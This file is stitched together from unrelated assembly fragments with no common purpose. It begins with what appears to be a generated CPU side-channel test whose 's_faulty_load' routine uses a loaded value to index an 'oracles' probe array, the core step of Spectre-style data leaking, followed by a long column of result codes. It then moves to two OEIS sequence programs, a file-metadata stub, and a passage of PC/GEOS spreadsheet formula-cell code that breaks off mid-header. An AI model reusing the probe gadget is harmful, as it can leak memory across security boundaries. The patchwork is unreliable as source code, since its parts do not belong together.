{'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x5be, %rsi
lea addresses_WC_ht+0x1a0d5, %rdi
dec %rax
mov $98, %rcx
rep movsw
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_D_ht+0x125be, %rax
nop
nop
add %r10, %r10
movw $0x6162, (%rax)
sub %rsi, %rsi
lea addresses_A_ht+0x15096, %rsi
lea addresses_WC_ht+0x8bbe, %rdi
nop
nop
nop
nop
add $13129, %r9
mov $70, %rcx
rep movsl
dec %rcx
lea addresses_normal_ht+0xe9be, %rsi
lea addresses_UC_ht+0x1dd3e, %rdi
nop
cmp %r9, %r9
mov $125, %rcx
rep movsl
nop
nop
nop
nop
dec %r9
lea addresses_normal_ht+0x250e, %rax
add $48705, %rdx
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
add $54366, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x1a826, %rsi
lea addresses_D+0x1dbe, %rdi
nop
inc %r15
mov $43, %rcx
rep movsw
xor $3457, %rax
// Faulty Load
lea addresses_WT+0x75be, %r9
nop
nop
nop
cmp %rsi, %rsi
movups (%r9), %xmm6
vpextrq $1, %xmm6, %rdi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D', 'congruent': 11, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 4}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
; A266535: Sums of two successive terms of A256249, with a(0) = 0.
; 0,1,3,7,11,15,23,35,43,47,55,67,83,103,127,155,171,175,183,195,211,231,255,283,315,351,391,435,483,535,591,651,683,687,695,707,723,743,767,795,827,863,903,947,995,1047,1103,1163,1227,1295,1367,1443,1523,1607,1695,1787,1883,1983,2087,2195,2307,2423,2543,2667,2731
mov $1,$0
mul $1,2
cal $1,236305 ; The number of P-positions in the game of Nim with up to 3 piles, allowing for piles of zero, such that the number of objects in each pile does not exceed n.
div $1,6
|
Name: ys_hlder.asm
Type: file
Size: 139573
Last-Modified: '2016-05-13T04:51:17Z'
SHA-1: 1E5E938EC7BAC7474429B91292A7AD1FD45D7C12
Description: null
|
; A249059: Row sums of the triangular array at A249057.
; 1,5,10,40,110,430,1420,5720,21340,89980,367400,1627120,7138120,33172040,154520080,751616800,3687498320,18719834320,96157299040,507993654080,2719611532000,14911459229920,82901747529920,470599687507840,2708946870815680
mov $2,5
mov $3,5
mov $4,1
mov $5,1
lpb $0,1
sub $0,1
mov $1,$2
mul $5,$3
add $2,$5
add $3,$4
mov $5,$1
lpe
sub $1,1
mul $1,2
add $1,2
trn $1,2
div $1,2
add $1,1
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: spreadsheetFormulaCell.asm
AUTHOR: John Wedgwood, Mar 22, 1991
ROUTINES:
Name Description
---- -----------
FormulaCellAlloc Create a formula cell given an expression
FormulaCellGetResult Get the formatted result from a formula cell
FormulaCellFormat Format the expression in a formula cell
FormulaCellParseText Parse a formula and save the result
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 3/22/91 Initial revision
DESCRIPTION:
Routines defined on the spreadsheet object to handle formula cells.
$Id: spreadsheetFormulaCell.asm,v 1.1 97/04/07 11:14:14 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SpreadsheetNameCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaCellAddParserRemoveDependencies
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add or remove any dependencies which might be
associated with a cell.
CALLED BY: DeleteCell, AllocTextCell, AllocChartCell
PASS: ds:si = Pointer to spreadsheet instance
ax/cx = Row/column of the cell
dx = -1 to remove dependencies
= 0 to add them
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/12/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaCellAddParserRemoveDependencies proc far
uses bp
.enter
sub sp, size PCT_vars
mov bp, sp ; ss:bp <- ptr to parameters
call SpreadsheetInitCommonParams
EC < cmp ax, NAME_ROW >
EC < ERROR_Z CELL_SHOULD_NOT_BE_A_NAME_CELL >
mov ss:[bp].CP_row, ax ; Save our row/column
mov ss:[bp].CP_column, cx
mov ss:[bp].PCTV_row, ax ; Save our row/column here too
mov ss:[bp].PCTV_column, cx
mov ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
call CellAddRemoveDeps ; Remove the dependencies
add sp, size PCT_vars
.leave
ret
FormulaCellAddParserRemoveDependencies endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CellAddRemoveDeps
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add or remove dependencies for a cell.
CALLED BY: FormulaCellParserRemoveDependencies, AddRemoveCellDependencies
PASS: ds:si = Spreadsheet instance
ss:bp = Pointer to initialized PCT_vars structure
EP_flags initialized
dx = 0 to add dependencies
= non-zero to remove dependencies
ax/cx = Row/column of the cell
RETURN: es same. This may be bad if es pointed at an lmem heap
which moved.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/12/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CellAddRemoveDeps proc far
uses ax, bx
.enter
call CreatePrecedentList ; Make the precedents list
jnc quit ; Quit if no precedents
;
; Call the appropriate routine. Add/ParserRemoveDependencies unlock and
; free the precedents block so we don't have to.
;
tst dx ; Check add/remove flag
jz addDeps ; Branch if we want to add
call ParserRemoveDependencies ; Remove dependencies
ERROR_C UNABLE_TO_REMOVE_DEPENDENCIES
jmp unlockAndFreeBlock
addDeps:
call ParserAddDependencies ; Add dependencies
ERROR_C UNABLE_TO_ADD_DEPENDENCIES
unlockAndFreeBlock:
call MemFree ; Free the dependency block
clc ; Signal: no error
quit:
.leave
ret
CellAddRemoveDeps endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaCellAlloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a formula cell
CALLED BY: EnterDataFromEditBar
PASS: ds:si = Pointer to the spreadsheet instance data
es:di = ptr to the text of the cell
dx = length of the text
ax = row
cx = column
RETURN: carry set on error
al = Error code
cx, dx = Range of text that generated the error
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 8/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaCellAlloc proc far
uses bx, ds, di, si, bp
.enter
xchg cx, dx ; cx <- length of text
; dx <- column of cell
call FormulaCellParseText ; Parse me jesus
.leave
ret
FormulaCellAlloc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaCellGetResult
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the formatted result of a formula cell
CALLED BY: DrawFormulaCell
PASS: ds:si = Pointer to the spreadsheet instance
dx:bp = Pointer to the cell data
es:di = Pointer to place to put the result
RETURN: dl = Return type
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
ds:[si].CF_current.RV_TEXT = size of text
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 8/91 Initial version
witt 11/15/93 DBCS-ized, RV_TEXT is *size*
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaCellGetResult proc far
class SpreadsheetClass
uses ax, bx, cx, di, si, ds, bp
.enter
EC < call ECCheckInstancePtr ;>
mov bx, ds ; save ptr to instance
mov cx, si
mov ds, dx ; ds:si <- ptr to cell data
mov si, bp
;
; Check for the cell not being of type "CT_FORMULA". If it's not then
; the caller really shouldn't have called this routine.
;
EC < cmp ds:[si].CC_type, CT_FORMULA >
EC < ERROR_NE CELL_SHOULD_BE_A_FORMULA >
cmp ds:[si].CF_return, RT_ERROR ; Check for error type
je formatError ; Branch if it's an error
cmp ds:[si].CF_return, RT_TEXT ; Check for text type
je formatText ; Branch if it's text
;-----------------------------------------------------------------------
; It must be a number (since those are the only three return types
; currently supported). If it's anything else then that is a sign that
; this cells data somehow got screwed up.
EC < cmp ds:[si].CF_return, RT_VALUE >
EC < ERROR_NZ ILLEGAL_RETURN_TYPE >
mov ax, ds:[si].CC_attrs ; ax <- token
push ds,si
mov ds, bx ; ds:si <- ptr to instance
mov si, cx
mov bx, offset CA_format ; bx <- field
call StyleGetAttrByTokenFar ; get format token
mov bx, ds:[si].SSI_cellParams.CFP_file
mov cx, ds:[si].SSI_formatArray
pop ds,si
add si, offset CF_current ; ds:si <- ptr to current value
call FloatFormatNumber
mov dl, RT_VALUE ; assume number formatted
jnc quit
mov dl, RT_ERROR ; number didn't format
;-----------------------------------------------------------------------
quit:
.leave
ret
formatError:
;
; Format an error code.
;
mov bl, ds:[si].CF_current.RV_ERROR ; bx <- error code
call CalcFormatError
mov dl, RT_ERROR ; return type
jmp quit
formatText:
;
; Format a string.
;
mov cx, ds:[si].CF_current.RV_TEXT ; cx <- size of text
add si, ds:[si].CF_formulaSize ; ds:si <- ptr to string
add si, size CellFormula
;
; Skip over any leading quote for 1-2-3 compatibility
;
call Skip123QuoteFar
EC < cmp cx, MAX_CELL_TEXT_SIZE+1 ; overflowing size? >
EC < ERROR_A REQUESTED_ENTRY_IS_TOO_LARGE >
rep movsb ; Copy the string
LocalClrChar ax ; Null terminate the string
LocalPutChar esdi, ax
mov dl, RT_TEXT ; return type
jmp quit
FormulaCellGetResult endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaDisplayCellGetResult
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the formatted result of a formula display cell
CALLED BY: DrawDisplayFormulaCell, GetDisplayFormulaCellAsTextInt,
SizeDisplayFormulaCell
PASS: ds:si = Pointer to the spreadsheet instance
dx:bp = Pointer to the cell data
es:di = Pointer to place to put the result
ax,cx = Row/Column of the cell
RETURN: dl = ReturnType
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Skip123Quote takes cx = size.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 6/10/91 Initial version
witt 11/29/93 DBCS-ized
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaDisplayCellGetResult proc far
class SpreadsheetClass
uses ax, bx, cx, dx, di, ds, si, bp
.enter
EC < call ECCheckInstancePtr ;>
mov bx, bp ; bx <- offset to cell data
sub sp, size PCT_vars ; Allocate a stack frame
mov bp, sp ; ss:bp <- ptr to stack frame
push dx, bx ; Save ptr to the cell data
push es, di ; Save place to put the result
mov es, dx ; es:di <- ptr to cell data
mov di, bx
;
; ss:bp = Pointer to PCT_vars
; ax = Row
; cx = Column
; es:di = Pointer to cell data
; ds:si = Spreadsheet instance
; On stack:
; Ptr to place to put the result
; Ptr to cell data
;
call SpreadsheetInitCommonParams
mov ss:[bp].CP_row, ax ; Save our row/column
mov ss:[bp].CP_column, cx
mov ss:[bp].PCTV_row, ax ; Save our row/column here too
mov ss:[bp].PCTV_column, cx
;
; We need to calculate the value in the cell.
; ss:bp = Pointer to PCT_vars on stack
; ds:si = Spreadsheet instance
; es:di = Pointer to cell data
; On stack:
; Ptr to place to put the result
; Ptr to cell data
;
call RecalcFormulaCell ; Calculate result
; es:bx <- ptr to result
pop es, di ; Restore place to put the result
;
; ds:si = Spreadsheet instance
; es:di = Place to put the result
; ss:bx = Pointer to result
; On stack:
; Ptr to cell data
;
mov al, {byte} ss:[bx] ; al <- type of result
inc bx ; ss:bx <- ptr to data
mov cx, ds ; cx:dx <- Ptr to spreadsheet instance
mov dx, si
pop ds, si ; ds:si <- Ptr to cell data
;
; al = Type of the result
; ds:si = Pointer to cell data
; ss:bx = Pointer to the result data
; es:di = Pointer to the place to put the result
; cx:dx = Spreadsheet instance
;
test al, mask ESAT_ERROR ; Check for an error
jnz formatError
test al, mask ESAT_STRING ; Check for a string
jnz formatString
test al, mask ESAT_NUMBER ; Check for a number
jnz formatNumber
;
; We should never get here. The only way it's possible is if somehow
; the return value isn't one of these types. It should always be one
; of these types.
;
EC < ERROR -1 >
quit:
add sp, size PCT_vars ; Restore the stack frame
.leave
ret
formatError:
;
; Format an error.
; ss:bx = Pointer to the cell-error code
; es:di = Pointer to place to put the data
;
mov bl, {byte} ss:[bx] ; bl <- CellError
call CalcFormatError ; Format the string
jmp quit
formatString:
;
; Format a string.
; ss:bx = Pointer to the string data
; es:di = Pointer to place to put the data
;
segmov ds, ss, si ; ds:si <- ptr to the string
mov si, bx
lodsw ; ax <- length of the string
; ds:si <- ptr to the string
mov cx, ax ; cx <- length of the string
;
; Skip over any leading quote for 1-2-3 compatibility
;
DBCS< shl cx, 1 ; cx <- size of the string >
call Skip123QuoteFar
EC < cmp cx, MAX_CELL_TEXT_SIZE+1 ; Over sized? >
EC < ERROR_A REQUESTED_ENTRY_IS_TOO_LARGE >
rep movsb ; Copy the string
LocalClrChar ax ; Null terminate the string
LocalPutChar esdi, ax
jmp quit
formatNumber:
;
; Format a number.
; Number is on fp-stack, we need to pop it into some safe place.
; es:di = Pointer to place to put the data
; ds:si = Pointer to the cell data
; cx:dx = Pointer to the spreadsheet instance
;
push es, di ; Save place to put the result text
segmov es, ss, di ; es:di <- place to store result
lea di, ss:[bp].PCTV_evalBuffer
mov bx, di ; ss:bx <- place to put result too
call FloatPopNumber ; Pop result off into es:di
pop es, di ; Restore place to put the result
;
; Now we have the number on the stack at ss:bx.
;
mov ax, ds:[si].CC_attrs ; ax <- style token
push bx ; Save ptr to number data
mov ds, cx ; ds:si <- ptr to spreadsheet instance
mov si, dx
mov bx, offset CA_format ; bx <- field to get
call StyleGetAttrByTokenFar ; Get format token
; mov cx, ds ; cx:dx <- spreadsheet instance
mov bx, ds:[si].SSI_cellParams.CFP_file
mov cx, ds:[si].SSI_formatArray
pop si ; ds:si <- ptr to number data
segmov ds, ss
;
; ax = Format token
; ds:si = Number
; es:di = Place to put the text
;
call FloatFormatNumber ; Format the number
jmp quit
FormulaDisplayCellGetResult endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcFormatError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Format an error type.
CALLED BY: FormulaCellGetResult, FormulaDisplayCellGetResult
PASS: bl = CellError
es:di = Pointer to the buffer
RETURN: es:di = Pointer past the end of the buffer
DESTROYED: ax, bx, cx, ds, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
DBCS: For double bytes, we read single byte error message and
unpack them. Error strings are not localizable.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 6/10/91 Initial version
witt 11/08/93 DBCS-ized, strings not localizable
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcFormatError proc far
clr bh
shl bx, 1 ; Use as index into table of
; strings
segmov ds, cs
mov si, cs:errorStrings[bx] ; ds:si <- ptr to the string
clr ch
mov cl, ds:[si] ; cx <- length of the string
inc si ; ds:si <- ptr to the text
if DBCS_PCGEOS
clr ah
unpackErrorString:
lodsb ; single byte in..
stosw ; ..double byte out
loop unpackErrorString
else
rep movsb ; Copy the error string
endif
LocalClrChar ax ; Null terminate the string
LocalPutChar esdi, ax
ret
CalcFormatError endp
;
; These need to go into a resource, unless we determine that they are not
; going to be localized.
;
errorStrings word offset cs:CE_noErrorString, ; CE_NO_ERROR
offset cs:CE_tooComplexString, ; CE_TOO_COMPLEX
offset cs:CE_rangeString, ; CE_REF_OUT_OF_RANGE
offset cs:CE_nameString, ; CE_NAME
offset cs:CE_argCountString, ; CE_ARG_COUNT
offset cs:CE_typeString, ; CE_TYPE
offset cs:CE_divByZeroString, ; CE_DIVIDE_BY_ZERO
offset cs:CE_circularRef, ; CE_CIRCULAR_REF
offset cs:CE_genErr, ; CE_GEN_ERR
offset cs:CE_naErr, ; CE_NA_ERR
offset cs:CE_floatPosInf, ; CE_FLOAT_POS_INF
offset cs:CE_floatNegInf, ; CE_FLOAT_NEG_INF
offset cs:CE_numOutOfRange, ; CE_FLOAT_GEN_ERR
offset cs:CE_circNameRef, ; CE_CIRC_NAME_REF
offset cs:CE_circDep, ; CE_CIRC_DEPEND
offset cs:CE_numOutOfRange ; CE_NUM_OUT_OF_RANGE
;
; NOTE: CE_FLOAT_GEN_ERR and CE_NUM_OUT_OF_RANGE are basically the same
; thing (argument out of range) so they are both mapped to #VALUE#.
;
CE_noErrorString byte 4, "Why?"
CE_tooComplexString byte 7, "#CMPLX#"
CE_rangeString byte 7, "#RANGE#"
CE_nameString byte 6, "#NAME#"
CE_argCountString byte 7, "#COUNT#"
CE_typeString byte 6, "#TYPE#"
CE_divByZeroString byte 7, "#DIV/0#"
CE_circularRef byte 6, "#CREF#"
CE_genErr byte 7, "#ERROR#"
CE_naErr byte 4, "#NA#"
CE_floatPosInf byte 8, "#OVRFLW#"
CE_floatNegInf byte 8, "#UNDFLW#"
CE_circNameRef byte 7, "#CNAME#"
CE_circDep byte 6, "#CIRC#"
CE_numOutOfRange byte 7, "#VALUE#"
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaCellFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
